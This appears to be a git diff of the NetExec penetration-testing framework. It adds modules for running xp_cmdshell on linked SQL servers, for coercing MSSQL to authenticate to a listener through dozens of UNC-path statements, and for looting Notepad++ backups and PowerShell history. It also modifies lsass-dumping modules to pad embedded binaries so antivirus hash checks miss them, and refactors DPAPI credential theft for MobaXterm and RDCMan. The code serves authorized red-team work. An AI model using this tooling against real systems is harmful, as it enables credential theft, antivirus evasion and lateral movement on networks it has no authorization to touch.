self.linked_server = None + self.command = None + + def options(self, context, module_options): + """ + Defines the options for running xp_cmdshell commands on a linked server. + LINKED_SERVER The name of the linked SQL server to target. + CMD The command to run via xp_cmdshell. + """ + self.linked_server = module_options.get("LINKED_SERVER") + self.command = module_options.get("CMD") + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server or not self.command: + self.context.log.fail("Please provide both LINKED_SERVER and CMD options.") + return + + self.run_xp_cmdshell(self.command) + + def run_xp_cmdshell(self, cmd): + """Run the specified command via xp_cmdshell on the linked server.""" + query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]" + self.context.log.display(f"Running command on {self.linked_server}: {cmd}") + result = self.query_and_get_output(query) + self.context.log.success(f"Command output:\n{result}") + + def query_and_get_output(self, query): + """Executes a query and returns the output.""" + return self.mssql_conn.sql_query(query) diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index 0ce6012d..de479803 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,10 +1,8 @@ -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: @@ -15,99 +13,34 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """ - PVK Domain backup key file - MKFILE File with masterkeys in form of {GUID}:SHA1 - """ - self.pvkbytes = None - self.masterkeys = None - self.conn = None - self.target = None - - if "PVK" in module_options: - self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115 - - if "MKFILE" in module_options: - self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115 + """ """ def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") - if self.pvkbytes is None: - try: - dc = Target.create( - domain=domain, - username=username, - password=password, - target=domain, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - no_pass=True, - use_kcache=use_kcache, - ) + self.pvkbytes = get_domain_backup_key(connection) - dc_conn = DPLootSMBConnection(dc) - dc_conn.connect() - - if dc_conn.is_admin: - context.log.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - except Exception as e: - context.log.debug(f"Could not get domain backupkey: {e}") - - self.target = Target.create( - domain=domain, + target = Target.create( + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, no_pass=True, - use_kcache=use_kcache, + use_kcache=getattr(connection, "use_kcache", False), ) - - try: - self.conn = DPLootSMBConnection(self.target) - self.conn.smb_session = connection.conn - except Exception as e: - context.log.debug(f"Could not upgrade connection: {e}") + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") return - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - if password != "": - plaintexts[username] = password - if nthash != "": - nthashes[username] = nthash - - if self.masterkeys is None: - try: - masterkeys_triage = MasterkeysTriage( - target=self.target, - conn=self.conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.masterkeys = masterkeys_triage.triage_masterkeys() - except Exception as e: - context.log.debug(f"Could not get masterkeys: {e}") + self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") @@ -115,14 +48,15 @@ class NXCModule: context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets") + def mobaxterm_callback(credential): + if isinstance(credential, MobaXtermCredential): + log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) + elif isinstance(credential, MobaXtermPassword): + log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) + context.log.highlight(f"[{credential.winuser}] {log_text}") + try: triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - _, credentials = triage.triage_mobaxterm() - for credential in credentials: - if isinstance(credential, MobaXtermCredential): - log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) - elif isinstance(credential, MobaXtermPassword): - log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) - context.log.highlight(f"[{credential.winuser}] {log_text}") + triage.triage_mobaxterm() except Exception as e: context.log.debug(f"Could not loot MobaXterm secrets: {e}") diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 968f0c02..875fbb73 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -1,5 +1,4 @@ import ntpath -from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target from Cryptodome.Cipher import AES from lxml import objectify @@ -7,6 +6,8 @@ from base64 import b64decode import hashlib from dataclasses import dataclass +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + @dataclass class MRemoteNgEncryptionAttributes: @@ -94,7 +95,10 @@ class NXCModule: use_kcache=use_kcache, ) - dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) + dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if dploot_conn is None: + context.log.debug("Could not upgrade connection") + return # 2. Dump users list users = self.get_users(dploot_conn) @@ -116,14 +120,6 @@ class NXCModule: if content is not None: self.context.log.info(f"Found confCons.xml file: {self.custom_path}") self.handle_confCons_file(content) - - def upgrade_connection(self, target: Target, connection=None): - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - else: - conn.connect() - return conn def get_users(self, conn): users = [] diff --git a/nxc/modules/mssql_coerce.py b/nxc/modules/mssql_coerce.py new file mode 100644 index 00000000..a4dca25a --- /dev/null +++ b/nxc/modules/mssql_coerce.py @@ -0,0 +1,79 @@ +import sys + +class NXCModule: + """Execute arbitrary SQL commands on the target MSSQL server""" + + name = "mssql_coerce" + description = "Execute arbitrary SQL commands on the target MSSQL server" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + self.listener = None + + def options(self, context, module_options): + """ + LISTENER LISTENER for exploitation + L Alias for LISTENER + """ + self.context = context + self.listener = None + if "LISTENER" in module_options: + self.listener = module_options["LISTENER"] + if "L" in module_options: + self.listener = module_options["L"] + + def on_login(self, context, connection): + if self.listener is None: + context.log.error("LISTENER option is required!") + sys.exit(1) + self.context = context + self.mssql_conn = connection.conn + commands = [ + f"xp_dirtree '\\\\{self.listener}\\file';", + f"xp_fileexist '\\\\{self.listener}\\file';", + f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';", + f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';", + f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';", + f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');", + f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ", + f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';", + f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ", + f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ", + f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ", + f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ", + f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ", + f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ", + f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;", + f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;", + f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ", + f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ", + f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);", + f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);", + f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ", + f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ", + f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ", + f"xp_subdirs '\\\\{self.listener}\\file';", + f"xp_cmdshell 'dir \\\\{self.listener}\\file';", + f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);", + f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];", + f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');", + f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');", + f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');", + ] + for command in commands: + try: + result = self.mssql_conn.sql_query(command) + self.context.log.debug(f"Executing command: {command}, Command result: {result}") + except Exception as e: + self.context.log.fail(f"Failed to execute command: {command}, Error: {e}") + self.context.log.display("Commands executed successfully, check the listener for results") diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index 5dc1ec2d..21955289 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -51,6 +51,10 @@ class NXCModule: self.nano = "nano.exe" self.nano_path = "" self.useembeded = True + # Add some random binary data to defeat AVs which check the file hash + padding = datetime.now().strftime("%Y%m%d%H%M%S").encode() + self.nano_embedded64 += padding + self.nano_embedded32 += padding if "NANO_PATH" in module_options: self.nano_path = module_options["NANO_PATH"] @@ -149,7 +153,10 @@ class NXCModule: self.context.log.fail("Process lsass.exe error on dump, try with verbose") dump = False - if dump: + if not dump: + self.delete_nanodump_binary() + return + else: self.context.log.display(f"Copying {nano_log_name} to host") filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log") if self.context.protocol == "smb": diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py new file mode 100644 index 00000000..9450e2bc --- /dev/null +++ b/nxc/modules/notepad++.py @@ -0,0 +1,50 @@ +from io import BytesIO +from os import makedirs +from os.path import join, abspath +from nxc.paths import NXC_PATH + + +class NXCModule: + # Finds notepad++ unsaved backup files + # Module by @Defte_ + + name = "notepad++" + description = "Extracts notepad++ unsaved files." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + + def options(self, context, module_options): + """""" + + def on_admin_login(self, context, connection): + found = 0 + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory(): + try: + notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" + for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"): + file_path = f"{notepad_backup_dir}{file.get_longname()}" + if file.get_longname() not in self.false_positive: + found += 1 + file_path = f"{notepad_backup_dir}{file.get_longname()}" + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore").lower() + context.log.highlight(f"C:\\{file_path}") + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt" + export_path = join(NXC_PATH, "modules", "notepad++") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"Notepad++ backup written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}") + except Exception: + pass diff --git a/nxc/modules/obsolete.py b/nxc/modules/obsolete.py index d09b0081..f1a50430 100644 --- a/nxc/modules/obsolete.py +++ b/nxc/modules/obsolete.py @@ -40,7 +40,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) except Exception: context.log.error("LDAP search error:", exc_info=True) return False diff --git a/nxc/modules/pi.py b/nxc/modules/pi.py index 521dd429..3be8b74e 100644 --- a/nxc/modules/pi.py +++ b/nxc/modules/pi.py @@ -1,7 +1,7 @@ from base64 import b64decode from sys import exit from os.path import abspath, join, isfile - +from datetime import datetime from nxc.paths import DATA_PATH, TMP_PATH @@ -25,9 +25,13 @@ class NXCModule: self.pi = "pi.exe" self.useembeded = True self.pid = self.cmd = "" + with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file: self.pi_embedded = b64decode(pi_file.read()) + # Add some random binary data to defeat AVs which check the file hash + self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode() + if "EXEC" in module_options: self.cmd = module_options["EXEC"] diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 79de46a5..5e897cc8 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,73 +1,60 @@ -import traceback from os import makedirs from os.path import join, abspath from nxc.paths import NXC_PATH +from io import BytesIO class NXCModule: - """Module by @357384n""" + # Module by @357384n + # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" description = "Extracts PowerShell history for all users and looks for sensitive commands." supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + sensitive_keywords = [ + "password", "passw", "secret", "credential", "key", + "get-credential", "convertto-securestring", "set-localuser", + "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", + "invoke-webrequest", "invoke-restmethod" + ] - def options(self, context, module_options): - """To export all the history you can add the following option: -o export=True""" - context.log.info(f"Received module options: {module_options}") + def options(self, _, module_options): self.export = bool(module_options.get("EXPORT", False)) - context.log.info(f"Option export set to: {self.export}") - - def analyze_history(self, history): - """Analyze PowerShell history for sensitive information.""" - sensitive_keywords = [ - "password", "passwd", "passw", "secret", "credential", "key", - "get-credential", "convertto-securestring", "set-localuser", - "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", - "invoke-webrequest", "invoke-restmethod" - ] - sensitive_commands = [] - for command in history: - command_lower = command.lower() - if any(keyword.lower() in command_lower for keyword in sensitive_keywords): - sensitive_commands.append(command.strip()) - return sensitive_commands def on_admin_login(self, context, connection): - """Main function to retrieve and analyze PowerShell history.""" - try: - context.log.info("Retrieving PowerShell history...") - command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' - history = connection.execute(command, True).split("\n") - if history: - sensitive_commands = self.analyze_history(history) - if sensitive_commands: - context.log.highlight("Sensitive commands found in PowerShell history:") - for command in sensitive_commands: - context.log.highlight(f" {command}") - else: - context.log.info("No sensitive commands found in PowerShell history.") - else: - context.log.info("No PowerShell history found.") - - # Check if export is enabled - context.log.info(f"Export option is set to: {self.export}") - if self.export and history: - host = connection.host # Assuming 'host' contains the target IP or hostname - filename = f"{host}_powershell_history.txt" - export_path = join(NXC_PATH, "modules", "powershell_history") - path = abspath(join(export_path, filename)) - makedirs(export_path, exist_ok=True) - - context.log.info(f"Export enabled, writing history to {path}") + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory(): try: - with open(path, "w") as file: - for cmd in history: - file.write(cmd + "\n") - context.log.highlight(f"PowerShell history written to: {path}") - except Exception as e: - context.log.fail(f"Failed to write history to {filename}: {e}") - except Exception as e: - context.log.fail(f"UNEXPECTED ERROR: {e}") - context.log.debug(traceback.format_exc()) + powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" + for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"): + if file.get_longname() not in self.false_positive: + file_path = f"{powershell_history_dir}{file.get_longname()}" + + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore") + keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()] + if len(keywords): + context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") + else: + context.log.highlight(f"C:\\{file_path}") + + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + if self.export: + filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt" + export_path = join(NXC_PATH, "modules", "powershell_history") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"PowerShell history written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write history to {filename}: {e}") + except Exception: + pass diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index e2ceb4b6..d2afa507 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -24,7 +24,7 @@ class NXCModule: def on_login(self, context, connection): try: - ldap_connection = connection.ldapConnection + ldap_connection = connection.ldap_connection # Define the search filter for pre-created computer accounts search_filter = "(&(objectClass=computer)(userAccountControl=4128))" @@ -94,7 +94,7 @@ class NXCModule: def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir): try: userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - password = username # Password is the machine name in lowercase + password = username[:14] # Password is the first 14 characters of the machine name in lowercase context.log.info(f"Getting TGT for {username}@{domain}") tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( diff --git a/nxc/modules/printnightmare.py b/nxc/modules/printnightmare.py index 5c7905c4..9bca9941 100644 --- a/nxc/modules/printnightmare.py +++ b/nxc/modules/printnightmare.py @@ -1,6 +1,6 @@ import sys from impacket import system_errors -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes from impacket.structure import Structure from impacket.dcerpc.v5 import transport, rprn from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL @@ -39,7 +39,8 @@ class NXCModule: def on_login(self, context, connection): # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) - stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain + stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target context.log.info(f"Binding to {stringbinding!r}") @@ -55,7 +56,7 @@ class NXCModule: ) rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) - rpctransport.setRemoteHost(connection.host) + rpctransport.setRemoteHost(target) rpctransport.set_dport(self.port) try: @@ -101,7 +102,12 @@ class NXCModule: if e.error_code == system_errors.ERROR_INVALID_PARAMETER: context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True - raise e + context.log.fail(f"Unexpected error: {e}") + except DCERPCException as e: + if rpc_status_codes[e.error_code] == "rpc_s_access_denied": + context.log.info("Not vulnerable :'(") + return False + context.log.fail(f"Unexpected error: {e}") context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True diff --git a/nxc/modules/procdump.py b/nxc/modules/procdump.py index 6432481b..024c9438 100644 --- a/nxc/modules/procdump.py +++ b/nxc/modules/procdump.py @@ -4,11 +4,11 @@ import base64 import re -import sys import pypykatz from nxc.helpers.bloodhound import add_user_bh from nxc.paths import TMP_PATH from os.path import abspath, join +from datetime import datetime class NXCModule: @@ -35,6 +35,8 @@ class NXCModule: self.procdump_path = abspath(TMP_PATH) self.dir_result = self.procdump_path self.useembeded = True + # Add some random binary data to defeat AVs which check the file hash + self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "PROCDUMP_PATH" in module_options: self.procdump_path = module_options["PROCDUMP_PATH"] @@ -79,7 +81,10 @@ class NXCModule: else: context.log.fail("Process lsass.exe error un dump, try with verbose") - if dump: + if not dump: + self.delete_procdump_binary(connection, context) + return + else: regex = r"([A-Za-z0-9-]*.dmp)" matches = re.search(regex, str(p), re.MULTILINE) machine_name = "" @@ -87,7 +92,7 @@ class NXCModule: machine_name = matches.group() else: context.log.display("Error getting the lsass.dmp file name") - sys.exit(1) + return context.log.display(f"Copy {machine_name} to host") @@ -98,11 +103,7 @@ class NXCModule: except Exception as e: context.log.fail(f"Error while get file: {e}") - try: - connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) - context.log.success(f"Deleted procdump file on the {self.share} share") - except Exception as e: - context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") + self.delete_procdump_binary(connection, context) try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) @@ -152,3 +153,10 @@ class NXCModule: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: context.log.fail("Error openning dump file", str(e)) + + def delete_procdump_binary(self, connection, context): + try: + connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) + context.log.success(f"Deleted procdump file on the {self.share} share") + except Exception as e: + context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") diff --git a/nxc/modules/pso.py b/nxc/modules/pso.py index a9d930d1..973a1f06 100644 --- a/nxc/modules/pso.py +++ b/nxc/modules/pso.py @@ -24,7 +24,7 @@ class NXCModule: def on_login(self, context, connection): # Are there even any FGPPs? context.log.success("Attempting to enumerate policies...") - resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)") + resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)") if len(resp) > 1: context.log.highlight(f"{len(resp) - 1} PSO Objects found!") context.log.highlight("") diff --git a/nxc/modules/putty.py b/nxc/modules/putty.py index ef21f997..13dce901 100644 --- a/nxc/modules/putty.py +++ b/nxc/modules/putty.py @@ -69,19 +69,23 @@ class NXCModule: def load_missing_users(self, unloaded_user_objects): """Load missing users into registry to access their registry keys.""" for user_object in unloaded_user_objects: - # Extract profile Path of NTUSER.DAT - reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"] - key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"] - user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0] - rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) + try: + # Extract profile Path of NTUSER.DAT + reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"] + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"] + user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0] + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) - # Load Profile - reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] - key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"] + # Load Profile + reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] + key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"] - self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}") - rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT") - rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) + self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}") + rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT") + rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) + except rrp.DCERPCSessionError as e: + self.context.log.fail(f"Error loading user {user_object} into registry: {e}") + self.context.log.debug(traceback.format_exc()) def unload_missing_users(self, unloaded_user_objects): """If some user were not logged in at the beginning we unload them from registry.""" @@ -92,7 +96,7 @@ class NXCModule: self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}") try: rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object) - except Exception as e: + except rrp.DCERPCSessionError as e: self.context.log.fail(f"Error unloading user {user_object} in registry: {e}") self.context.log.debug(traceback.format_exc()) rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index c17de1f0..597a45d3 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -1,10 +1,8 @@ -from dploot.triage.rdg import RDGTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage +from dploot.triage.rdg import RDGTriage, RDGServerProfile from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: @@ -15,99 +13,34 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """ - PVK Domain backup key file - MKFILE File with masterkeys in form of {GUID}:SHA1 - """ - self.pvkbytes = None - self.masterkeys = None - - if "PVK" in module_options: - self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115 - - if "MKFILE" in module_options: - self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115 + """ """ def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") - if self.pvkbytes is None: - try: - dc = Target.create( - domain=domain, - username=username, - password=password, - target=domain, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - 